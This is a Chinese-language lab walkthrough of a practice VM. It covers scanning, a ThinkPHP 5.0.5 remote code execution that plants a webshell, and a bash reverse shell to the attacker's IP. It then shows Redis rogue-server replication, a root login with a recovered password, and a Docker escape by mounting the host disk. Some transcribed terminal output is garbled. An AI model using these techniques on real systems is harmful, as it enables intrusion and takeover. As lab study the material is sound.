

网段扫描

```
root@LingMj:~/xxoo# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d1:27:55, IPv4:
192.168.137.190
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-
scan)
192.168.137.1  3e:21:9c:12:bd:a3  (Unknown: locally administered)
192.168.137.50 a0:78:17:62:e5:0a  Apple, Inc.
192.168.137.118 3e:21:9c:12:bd:a3  (Unknown: locally administered)

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.053 seconds (124.70
hosts/sec). 3 responded
```

端口扫描

```
root@LingMj:~/xxoo# nmap -p- -sC -sV 192.168.137.118
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-12 06:13 EDT
Nmap scan report for moban.mshome.net (192.168.137.118)
Host is up (0.0089s latency).


Not shown: 65533 closed tcp ports (reset)

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)

80/tcp    open  http     nginx 1.18.0
| http-cookie-flags:
|   /:
|     PHPSESSID:
|       httponly flag not set
|_http-server-header: nginx/1.18.0
| http-title: MazeSec\xE9\x9D\xB6\xE6\x9C\xBA\xE6\xB5\x8B\xE8\xAF\x95
|_Requested resource was
/index/login/login/token/eb97293ab07da838571111076fe91b9.html
MAC Address: 3E:21:9C:12:BD:A3 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.44 seconds
```

获取webshell



存在注册，注册什么都行，不过好像这不是重点

前台账号：18888888888

前台密码：18888888888

波动：/coller.html（浏览器访问）

作者给的小游戏提示

```
[INFO] Targets loaded for current scan: 1
[INFO] Templates clustered: 1761 (Reduced 1653 Requests)
[INFO] Using Interactsh Server: oast.me
[cookies-without-httpsonly] [javascript] [info] 192.168.137.118 ["PHPSESSID","think_var"]
[cookies-without-secure] [javascript] [info] 192.168.137.118 ["PHPSESSID","think_var"]
[waf-detect:nginxgeneric] [http] [info] http://192.168.137.118 完成本地复制:
[ssh-auth-methods] [javascript] [info] 192.168.137.118:22 [""publickey", "password"]"
[ssh-sha1-hmac-algo] [javascript] [info] 192.168.137.118:22
[ssh-server-enumeration] [javascript] [info] 192.168.137.118:22 ["SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3"]
[ssh-password-auth] [javascript] [info] 192.168.137.118:22
[openssh] [tcp] [info] 192.168.137.118:22 ["SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3"]
[thinkphp-detect] [http] [info] http://192.168.137.118/?s=2zlq402C4dFQyXemVbqAeyCxghS&c=2zlq402C4dFQyXemVbqAeyCxghS&a=2zlq402C4dFQyXemVbqAeyCxghS&m=2zlq402C4dFQyXemVbqAeyCxghS
[CVE-2022-47945] [http] [critical] http://192.168.137.118/?lang=.../thinkphp/base
[http-missing-security-headers:content-security-policy] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:permissions-policy] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:x-frame-options] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:x-content-type-options] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:referrer-policy] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:clear-site-data] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:strict-transport-security] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://192.168.137.118/index/login/login/token/0916ce133bc7957fc1e1a2eca7927e3.html
[form-detection] [http] [info] http://192.168.137.118/index/login/login/token/ebed566fa4762a26a3f9d8f099697ddf.html
[tech-detect:angular] [http] [info] http://192.168.137.118/index/login/login/token/755759a438d48c76e0e0c9244096d812.html
[tech-detect:nginx] [http] [info] http://192.168.137.118/index/login/login/token/755759a438d48c76e0e0c9244096d812.html
[composer-composer.json] [http] [low] http://192.168.137.118/vendor/webmozart/assert/.composer-auth.json
[INFO] Scan completed in 1m. 29 matches found.
```

这里可以看到前面的路线是thinkphp



[8] **ErrorException in base.php line 12**


Constant THINK_VERSION already defined

```
3. // | ThinkPHP [ WE CAN DO IT JUST THINK ]
4. // +-----
5. // | Copyright (c) 2006~2017 http://thinkphp.cn All rights reserved.
6. // +-----
7. // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
8. // +-----
9. // | Author:
10. // +-----
11.
12. define('THINK_VERSION', '5.0.5');
13. define('THINK_START_TIME', microtime(true));
14. define('THINK_START_MEM', memory_get_usage());
15. define('EXT', '.php');
16. define('DS', DIRECTORY_SEPARATOR);
--
```

知道版本重点就在这里了，如果不知道怎做的我给个参考方案地址：

https://blog.csdn.net/weixin_40643324/article/details/143920994

唉我好像复现有点问题看看什么原因




The screenshot shows a browser window with the URL `http://192.168.137.118/?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=file_`. The page content displays a terminal session on a Linux system (Debian 4.19.316-1) with the user `www-data`. The session shows basic information, command help, and a successful `id` command output.

```
(*) 基础信息
当前路径: /var/www/html
磁盘列表: /
系统信息: Linux 0bb9bcb43160 4.19.0-27- amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
当前用户: www-data
(*) 输入 ashel p 查看本地命令
(www-data:/var/www/html) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(www-data:/var/www/html) $
```

逻辑就是创建一个文件

提权



The screenshot shows two terminal windows. The left window is a terminal session on the VM, and the right window is a terminal session on the host machine (`root@LingMj`). The VM terminal shows a successful `id` command output as `www-data`. The host terminal shows a successful `id` command output as `root`, indicating a successful privilege escalation.

```
root@LingMj: ~ - ssh - lingmj
www-data@0bb9bcb43160:~/html$ id
root@LingMj: ~ - ssh - lingmj
中国蚁剑
(*) 基础信息
当前路径: /var/www/html
磁盘列表: /
系统信息: Linux 0bb9bcb43160 4.19.0-27- amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
当前用户: www-data
(*) 输入 ashel p 查看本地命令
(www-data:/var/www/html) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(www-data:/var/www/html) $ bash -c '/bin/bash -i >& /dev/tcp/192.168.137.190/1234 0>&1'
(www-data:/var/www/html) $ bash -c '/bin/bash -i >& /dev/tcp/192.168.137.190/1234 0>&1'
(www-data:/var/www/html) $
```


这样多开几个进行操作接下来就是最最重要的部分

```
[www-data@0bb9bcba3160:~/html$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
            valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
        inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
            valid_lft forever preferred_lft forever
11: eth1@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
        inet 172.19.0.3/16 brd 172.19.255.255 scope global eth1
            valid_lft forever preferred_lft forever
www-data@0bb9bcba3160:~/html$ ] 2025-06-21-Self-VM-easyfmt复盘.md
[www-data@0bb9bcba3160:~/html$ ] 2025-07-12-Self-VM-Exchange复盘.md
```

可以看到很多ip，我们需要查找其他ip有什么，这里是不能root提权的,因为靶机什么也没有我传一个busybox方便我操作

```
[www-data@0bb9bcb43160:/tmp$ ./fscan -h 172.19.0.1 复盘
[2025-07-04 10:58:03] [INFO] 暴力破解线程数： 1
[2025-07-04 10:58:03] [INFO] 开始信息扫描
[2025-07-04 10:58:03] [INFO] 最终有效主机数量： 1
[2025-07-04 10:58:03] [INFO] 开始主机扫描
[2025-07-04 10:58:03] [INFO] 有效端口数量： 233
[2025-07-04 10:58:03] [SUCCESS] 端口开放 172.19.0.1:22
[2025-07-04 10:58:03] [SUCCESS] 服务识别 172.19.0.1:22 => [ssh] 版本:8.4p1 Debian 5+deb11u3 产品:OpenSSH 系统:Linux 信息:pr
[2025-07-04 10:58:06] [INFO] 存活端口数量： 1
[2025-07-04 10:58:06] [INFO] 开始漏洞扫描
[2025-07-04 10:58:07] [INFO] 加载的插件： ssh
^C
```

```
[www-data@0bb9bcb43160:/tmp$ ./fscan -h 172.19.0.2
```



Fscan Version: 2.0.0

```
[2025-07-12 10:58:22] [INFO] 暴力破解线程数：1
[2025-07-12 10:58:22] [INFO] 开始信息扫描
[2025-07-12 10:58:22] [INFO] 最终有效主机数量：1
[2025-07-12 10:58:22] [INFO] 开始主机扫描
[2025-07-12 10:58:22] [INFO] 有效端口数量：233
[2025-07-12 10:58:22] [SUCCESS] 端口开放 172.19.0.2:6379
```

```
[2025-07-12 10:58:30] [SUCCESS] Redis 172.19.0.2:6379 发现未授权访问 文件位置:/data/dump.rdb
[2025-07-12 10:58:34] [SUCCESS] Redis无密码连接成功：172.19.0.2:6379
[2025-07-12 10:58:34] [SUCCESS] 扫描已完成：1/1
```

主要就是redis为授权主从复制漏洞

利用条件

- 1 | 未授权访问 : 未启用认证功能或认证密码为空, 用户可直接连接
- 2 | 授权访问 : 能通过弱口令认证或者直接知道认证密码访问到Redis服务器

利用工具

下载前面用到的两个工具,

<https://github.com/n0b0dyCN/redis-rogue-server>
redis-rogue-server, 未授权使用, python3.5以上

<https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server>
Awsome-Redis-Rogue-Server, 有授权使用

工具自行下载: <https://github.com/n0b0dyCN/redis-rogue-server>

```
[redis@de5d714c7a42:/data$ clear  
TERM environment variable not set.  
redis@de5d714c7a42:/data$ stty rows 50 columns 200  
[redis@de5d714c7a42:/data$ export TERM=xterm-256color  
[redis@de5d714c7a42:/data$ id  
uid=999(redis) gid=999(redis) groups=999(redis)  
redis@de5d714c7a42:/data$
```



当然这里有一个小坑，不过对我没有影响

0	5635	10005635	0	0	0	NULL	1	17	J1502100	000278.00	NULL	1	NULL	1	0	0	0	dashazi	NULL	al Stud	do to App	1752205841	whatcanisay	NULL	1	NULL	1	NULL	1
0			0	0	0	NULL			f9fb7dcf18af5b50245be5cpcf90ee	19216813711	1752205841	0	0	0															

好了这个地方是有密码的，这个是第一个机器的，不过我顺序有点反了因为一拿到shell就应该看这个

[redis@de5d714c7a42:/data\$ su - root	17	picture	de1937310c
[Password:		!	[picture
[root@de5d714c7a42:~# id	2025-06-07-Self-VM-bugHash复盘.md	95	6fad0b1249
uid=0(root) gid=0(root) groups=0(root)	2025-06-07-Self-VM-EVA复盘.md	96	![picture
root@de5d714c7a42:~#	2025-06-08-hackmyvm-DarkMatter复盘.md	97	14fe79c3d8
	2025-06-08-Self-VM-Yi复盘.md	98	![picture
	2025-06-14-Self-VM-GGG复盘.md		1d12e64ab2
	2025-06-15-Self-VM-tools复盘.md		

最后一个考点比较考验人

The screenshot shows a search result for "docker 逃逸" (Docker escape) on a search engine. The top result is from a GitHub user named m01ly, dated January 4, 2022, titled "docker逃逸常用方法" (Common methods for Docker escape). The text discusses how privilege escalation can lead to Docker escape, mentioning mounting host directories into containers and using SSH keys or crontab to gain a shell. The GitHub logo and URL are visible next to the author's name.

> 2.3 由于特权模式+目录挂载引起的逃逸

这一种逃逸方法较其他两种来说用的更多。特权模式在6.0版本的时候被引入Docker，其核心作用是允许容器内的root用户只有外部物理机普通用户的权限。

2.3.1 磁盘挂载 >

(1) 使用特权模式启动容器后 (`docker run -privileged`)：Docker容器被允许可以访问主机上的所有设备。mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过反弹shell(反彈shell)

(2) 使用功能机制也会造成Docker逃逸。Linux内核自版本2.2引入了功能机制 (Capabilities)，打破了限制，允许普通用户执行超级用户权限方能运行的命令。例如当容器以`-cap-add=SYSADMIN`启动，Container管理命令，如果攻击者此时再将外部设备目录挂载在容器中就会发生Docker逃逸。

2.3.2 容器挂载不当 >

使用者将宿主机`/var/run/docker.sock`文件挂载到容器中，目的是能在容器中也能操作docker。

— 3 docker 逃逸实例 —

(3) `fdisk -l`命令查看宿主机设备为`/dev/vda1`，通过`mount`命令将宿主机根目录挂载进容器目录的`test`中。

```
1 | fdisk -l
2 | mount /dev/sda1 /home/test
```

(4) 使用`chroot`改变根目录，接下来可以直接执行命令或写`crontab`

```
root@06753c78ece8:/home/test# chroot /home/test/
sh-4.2#
sh-4.2#
sh-4.2# ls
bin boot dev etc home lib lib64 media mnt opt proc root run
sh-4.2# pwd
/
sh-4.2# id
uid=0(root), gid=0(root), groups=0(root)
```

```
[root@de5d714c7a42:/tmp# mkdir test
[root@de5d714c7a42:/tmp# mount /dev/sda1 /tmp/test
[root@de5d714c7a42:/tmp# chroot /tmp/test
[root@de5d714c7a42:# id
uid=0(root) gid=0(root) groups=0(root)
[root@de5d714c7a42:# ls -al
total 84
drwxr-xr-x 18 root root 4096 Mar 18 20:37 .
drwxr-xr-x 18 root root 4096 Mar 18 20:37 ..
lrwxrwxrwx 1 root root 7 Mar 18 20:26 bin -> usr/bin
drwxr-xr-x 3 root root 4096 Mar 18 21:17 boot
drwxr-xr-x 4 root root 4096 Mar 18 20:26 dev
drwxr-xr-x 87 root root 4096 Jul 12 06:43 etc
.
drwx----- 3 root root 4096 Jul 8 21:03 .docker
drwx----- 3 root root 4096 Apr 4 21:00 .gnupg
drwxr-xr-x 3 root root 4096 Mar 18 21:04 .local
drwx----- 3 root root 4096 Jul 8 23:02 .pki
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 75 Jul 8 23:12 .selected_editor
drw----- 2 root root 4096 Apr 4 23:57 .ssh
drwxr-xr-x 2 root root 4096 Jul 10 23:26 .vim
-rw-rw-rw- 1 root root 11081 Jul 11 00:17 .viminfo
drwxr-xr-x 3 root root 4096 Jul 8 23:02 .wdm
-rw-r--r-- 1 root root 44 Jul 8 23:16 root.txt
root@de5d714c7a42:~#
```

复盘结束，感谢bamewe大佬出的有意思题目，非常有意思每一个知识点我都尽力去想和测试，虽然我是测试员但是还是在路线下学习每一个考点，是一个非常不错的靶机，推荐各位大佬去玩玩！！！

userflag: flag{user-4f6311d4cf5776f0316c2f1b6526a653}

rootflag: flag{root-6dbfaf239023f6da6ed2ffc59d3bcea5}